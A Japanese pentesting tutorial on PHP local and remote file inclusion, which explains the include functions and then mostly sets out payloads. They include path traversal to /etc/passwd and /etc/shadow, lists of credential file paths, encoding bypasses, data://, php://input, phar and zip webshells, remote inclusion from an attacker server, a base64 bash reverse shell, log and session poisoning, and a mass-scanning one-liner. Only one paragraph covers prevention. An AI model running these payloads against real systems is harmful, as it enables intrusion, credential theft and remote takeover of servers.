0x01 概要#
ファイルインクルード脆弱性とは
ファイルインクルード脆弱性とは、PHP 関数を使用してファイルをインクルードする際に、渡されたファイル名に対して適切な検証を行わないことにより、攻撃者が悪意のあるパラメータを構築でき、アクセスすべきでないファイルを操作および読み取ることができ、さらには悪意のあるコードをサーバーに注入することができる状態を指します。
ファイルインクルード脆弱性の危険性
- 構成ファイルやパスワードファイルなどの機密ファイルにアクセスし、読み取ること。
- 任意のコードを実行し、システムコマンドやリモートコードを含めてサーバーを制御すること。
- クロスサイトスクリプティング(XSS)などの悪意のあるコードを注入し、ユーザーデータを盗んだり、ユーザーセッションをハイジャックしたりすること。
PHP におけるファイルインクルード脆弱性を引き起こす関連関数
include()
include_once()
require()
require_once()
include () と require () の違い
- include () はファイルのインクルードに失敗した場合、警告を発し、スクリプトは
続行される
;一方、require () はファイルのインクルードに失敗した場合、致命的なエラーを発し、スクリプトは停止する
。 - include () は同じファイルを複数回インクルードできるが、require () は一度しかインクルードできず、再度インクルードしようとすると致命的なエラーが発生する。
include () と include_once () の違い
- include () は同じファイルを複数回インクルードできるが、include_once () は一度だけインクルードし、すでにインクルードされている場合は再度インクルードしない。
0x02 ファイルインクルードの分類#
ローカルファイルインクルードはサーバーのローカルファイルのみをインクルードできるが、リモートファイルインクルードはサーバーのローカルファイルだけでなく、リモートサイトのファイルもインクルードできる。
ローカルファイルインクルードの利用
システムファイルの読み取り
http://example:28050/control/more/file_include.php?filename=../../../../../../etc/passwd
Windows と Linux では、以下のような内容を読み取ることを試みることができ、一般的な機密ファイルのパス情報が列挙されています。
# Windowsシステム
c:\boot.ini
c:\windows\system32\inetsrv\MetaBase.xml
c:\windows\repair\sam
c:\ProgramFiles\mysql\my.ini
c:\ProgramFiles\mysql\data\mysql\user.MYD
c:\windows\php.ini
# Linux/Unixシステム
/etc/passwd
/etc/shadow
/usr/local/app/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhost.conf
/usr/local/app/php5/lib/php.ini
/etc/httpd/conf/httpd.conf
/etc/my.conf
burpsuite を使用して機密ファイルのブルートフォース攻撃を行うことができます。
または、ディレクトリスキャンツール gobuster を利用します。
gobuster fuzz -u "http://<target>/static/ueditor/php/controller.php?action=proxy&remote=file://FUZZ" -w "/pentesting/web-basic/p12-字典收集/pentesting/web/payloads/lfi-rfi/lfi-linux-list.txt" --exclude-length 2176 -H 'Header1: 200' -b 400
インクルードされたファイルに PHP コードが含まれている場合、ファイルの拡張子に関係なく、PHP ファイルとして実行されます。たとえば、1.txt ファイルの内容が<?php phpinfo(); ?>
の場合。
http://127.0.0.1:8999/index.php?file=1.txt
サーバーコードを読み取るには、PHP の擬似プロトコルを組み合わせる必要があります。たとえば、php://filter
を使用して読み取った内容は base64 になります。
http://127.0.0.1:8999/index.php?file=php://filter/convert.base64-encode/resource=index.php
リモートファイルインクルードの場合、php.ini の以下の 2 つの設定を On にする必要があります。
リモートサーバーファイルをインクルードする場合、1.txt ファイルの内容は<?php phpinfo(); ?>
です。
http://127.0.0.1:8999/index.php?file=http://192.168.101.173:8080/1.txt
リモートファイルインクルードは、リモートサーバーで python3 を使用して Web サービスを開始し、ターゲットサーバーにリモートサーバーにホストされているファイルをダウンロードさせることができます。
python -m SimpleHTTPServer <port> # python2
python3 -m http.server <port> # python3
Web シェルにアクセスします。
http://<target>/index.php?page=http://vps_ip/webshell.php&cmd=id
FTP プロトコルを使用してダウンロードすることもできます。
python3 -m pyftpdlib -p 21
Web シェルにアクセスします。
http://<target>/index.php?page=ftp://vps_ip/webshell.php&cmd=id
0x03 ファイルインクルード脆弱性のバイパス#
1、%00 トランケーション (PHP バージョンが 5.3.4 未満で、GPC がオフの場合)
http://192.168.100.157/fi/02.php?filename=/etc/passwd%00
2、リモートファイルインクルードの利用
? や #を使用して拡張子制限をバイパスできます。
http://192.168.100.157/fi/05.php?filename=http://vps_ip:9999/test.txt%23
3、エンコーディングバイパス
URLエンコーディングを利用:
..%2e%2e%2f ..%2f %2e%2e/
..%2e%2e%5c ..%5c %2e%2e\
二重URLエンコーディング
../%252e%252e%252f
..\%252e%252e%255c
コンテナ/サーバーのエンコーディング方式
../..%c0%af %c0%ae%c0%ae/
..\..%c1%9c
0x04 PHP 擬似プロトコル#
PHP は、PHP の入出力ストリーム、標準入出力およびエラーディスクリプタ、メモリ内、ディスクバックアップの一時ファイルストリーム、他の読み書きファイルリソースを操作できるフィルタを提供するいくつかの雑多な入出力(IO)ストリームを提供しています。
1、php://filter
# base64
http://<target>/index.php?page=php://filter/read=convert.base64-encode/resource=../../../<directory>/<file>
# ROT13
http://<target>/index.php?page=php://filter/read=string.rot13/resource=../../../<directory>/<file>
http://127.0.0.1:8999/index.php?file=php://filter/convert.base64-encode/resource=index.php
返されるのは base エンコードされた内容です。
2、php://input
POST /index.php?page=php://input
Host: <target>
<?php system('whoami'); ?>
3、data://
allow_url_include
とallow_url_fopen
を有効にする必要があります。
http://192.168.100.157/fi/10.php?filename=data://text/plain,<?php phpinfo();?>
http://192.168.100.157/fi/10.php?filename=data://text/plain,<?php echo base64_encode(file_get_contents("10.php"));?>
http://192.168.100.157/fi/10.php?filename=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
4、zip プロトコル
zip://
ストリームは、圧縮ファイル内のファイルにアクセスできる PHP の機能であり、ファイルインクルード関数と組み合わせて使用すると、zip://
ストリームが PHP ファイルとして解析され、その中のコードが実行されるため、任意のコード実行のリスクが生じます。
zip://
ストリームを使用する際は、絶対パスを渡す必要があり、圧縮ファイルと圧縮ファイル内のファイル内容を区切るために #記号を使用し、# を URL エンコード(# を%23
に置き換える)する必要があります。
test.zipにtest.txtファイルが含まれています
http://127.0.0.1/index.php?test=zip:///var/www/html/test.zip%23test.txt
5、phar プロトコル
PHP ファイルを準備します。
# webshell.php
<?php
$phar = new Phar('webshell.phar');
$phar->startBuffering();
$phar->addFromString('webshell.txt', '<?php system($_GET["cmd"]); ?>');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->stopBuffering();
?>
phar ファイルを生成します。
php --define phar.readonly=0 webshell.php
mv webshell.phar webshell.jpg
webshell.jpg ファイルをターゲット Web サーバーにアップロードし、特定されたローカルファイルインクルード(LFI)から実行します。
http://<target>/index.php?page=phar://webshell.jpg/webshell.txt&cmd=id
6、file://(ファイルの絶対パス)
file://
はローカルファイルシステムにアクセスするために使用され、allow_url_fopen および allow_url_include の影響を受けません。
使用法は次のとおりです。
http://127.0.0.1:8999/index.php?file=file:///etc/passwd
擬似プロトコル使用条件
プロトコル | テスト PHP バージョン | allow_url_fopen | allow_url_include | 使用法 | |
---|---|---|---|---|---|
file | >= 4.0.0 | On/off | On/off | ?file=file:///etc/passwd | |
gopher | >= 4.3.0 | On | Off | ?file=gopher://example.com:test | |
http | >= 4.0.0 | On | Off | ?file=https://example.com/test | |
ftp | >= 4.0.0 | On | Off | ?file=ftp://example.com/file.txt | |
data | >= 5.2.0 | On | On | ?text=data:text/plain,<?php phpinfo();?> | |
phar | >= 5.3.0 | On | Off | ?file=phar://path/to/file.phar/test.php | |
php://filter | >= 5.2.0 | On/off | On/off | ?file=php://filter/read=string.rot13/resource=example.php or php://filter/read=convert.base64-encode/resource=./index.php | |
expect | >= 4.3.0 | On | Off | ?cmd=expect://id | |
php://input | >= 5.2.0 | On/off | On/off | ?file=php://input post data: <?php phpinfo();?> | |
zip | >= 5.2.0 | On/off | On/off | ?file=zip:///var/www/html/file.zip%23shell.txt |
0x05 ファイルインクルード脆弱性の防止#
ファイルインクルード脆弱性を回避するために、開発者は常にユーザー入力に対して厳格な検証とフィルタリングを行うべきであり、ファイルパスの制限や特殊文字のフィルタリングを含める必要があります。さらに、機密ファイルはサーバーの外部に配置するか、アクセス制御リスト(ACL)を使用して機密ファイルへのアクセスを制限することが望ましいです。
0x06 その他#
1、ファイルインクルードによる RCE#
1、php://input プロトコルの利用
POST /index.php?page=php://input
Host: <target>
<?php system('whoami'); ?>
または
POST /index.php?page=php://input&cmd=cat /etc/passwd
<?php echo(shell_exec($_GET['cmd']));?>
2、data プロトコルの利用
http://<target>/index.php?page=data://text/plain,<?php system('whoami'); ?>
http://jtongic.com:83/start/index.php?page=data:text/plain,<?php system('ls ../');?>
http://<target>/index.php?page=data://text/plain;base64,<base64>
3、ファイルインクルードによる webshell コマンドの実行
# webshellを準備し、base64エンコード
echo '<?php system($_GET['cmd']); ?>' | base64
# エンコードされた内容は以下の通り
PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA/Pgo=
# 最終ペイロード
http://<target>/index.php?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA/Pgo=&cmd=id
4、ファイルインクルードによるリバースシェル
# リバースシェル (Bash)
bash -c 'bash -i >& /dev/tcp/<IP-Address>/<port> 0>&1'
# リバースシェル (Bash)をbase64エンコード
YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC97SVAtQWRkcmVzc30ve3BvcnR9IDA+JjEn
# 最終ペイロード
http://<target>/index.php?page=data://text/plain;base64,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC97SVAtQWRkcmVzc30ve3BvcnR9IDA+JjEn
5、ファイルアップロードと zip プロトコルの組み合わせ
PHP ファイルを含む zip 圧縮ファイルを準備します。
echo '<?php system($_GET['cmd']); ?>' > webshell.php
zip webshell.zip webshell.php
webshell.zip ファイルをターゲット Web サーバーにアップロードし、# 記号を使用して webshell.zip ファイル内のファイルを参照できます。
http://<target>/index.php?page=zip://webshell.zip#cmd.php&cmd=id
http://<target>/index.php?page=zip://webshell.zip%23cmd.php&cmd=id
4、ファイルアップロードと画像の組み合わせ
画像マルウェアを準備します。
echo 'GIF89a<?php system($_GET["cmd"]); ?>' > webshell.gif
画像をサーバーにアップロードし、それをインクルードします。
http://<target>/index.php?page=webshell.gif&cmd=id
サーバー上のディスクの内容を制御できる場合(たとえば、サーバーログ)、コマンド実行に昇格できます。
6、ファイルインクルードログによる RCE
Linux のログファイルパス
/var/log/apache2/access.log
/var/log/nginx/access.log
/var/log/sshd.log
/var/log/mail
/var/log/vsftpd.log
ログに webshell を書き込み、任意のページにアクセスすることで、リクエストパッケージに webshell を含めます。
GET /index.php?page=<log-file>
Host: <target>
User-Agent: <?php system($_GET['cmd']); ?>
webshell にアクセスします。
http://<target>/index.php?page=<log-file>&cmd=id
6、PHP セッションによる RCE
PHP セッションの保存パスは次のとおりです。
/var/lib/php/sessions/
C:\Windows\Temp
大まかな流れ:
PHPSESSID
の値がujllfv2j2j2sm7ae11is401hvdf9
であると仮定します。
http://<target>/index.php?page=<session-files-path>/sess_ujllfv2j2j2sm7ae11is401hvdf9
セッションに保存されている任意の値を変更します。
<?php system($_GET['cmd']); ?>
webshell にアクセスしてコマンドを実行します。
http://<target>/index.php?page=<session-files-path>/sess_ujllfv2j2j2sm7ae11is401hvdf9&cmd=id
ケーススタディ:
SESSION["username"]= $_GET['iwebsec'];
iwebsec 変数の値をセッションに保存します。http://192.168.100.157/fi/03.php?iwebsec=iwebsec にアクセスすると、/var/lib/php/sessions/ ディレクトリにセッションの値が保存されます。
セッションはブラウザの F12 - ネットワークで確認でき、セッションの内容には sess_PHPSESSID が含まれます。
セッションに内容を書き込んだ後、ファイルインクルード脆弱性を利用してセッションファイルをインクルードします。
コマンドを実行します。
2、一つのコマンドファイルインクルード#
gau $target | gf lfi | qsreplace "/etc/passwd" | xargs -I % -P 25 sh -c 'curl -s "%" 2>&1 | grep -q "root:x" && echo "VULN! %"'
- gau、既知の URL を取得
- gf: 対応する内容をフィルタリング
- qsreplace: 標準入力の URL を受け取り、ユーザーが提供した値で全てのクエリ文字列値を置き換え、各ホストとパスに対してクエリ文字列パラメータの各組み合わせを一度だけ出力します。
3、ツール#
Local File Inclusion discovery and exploitation tool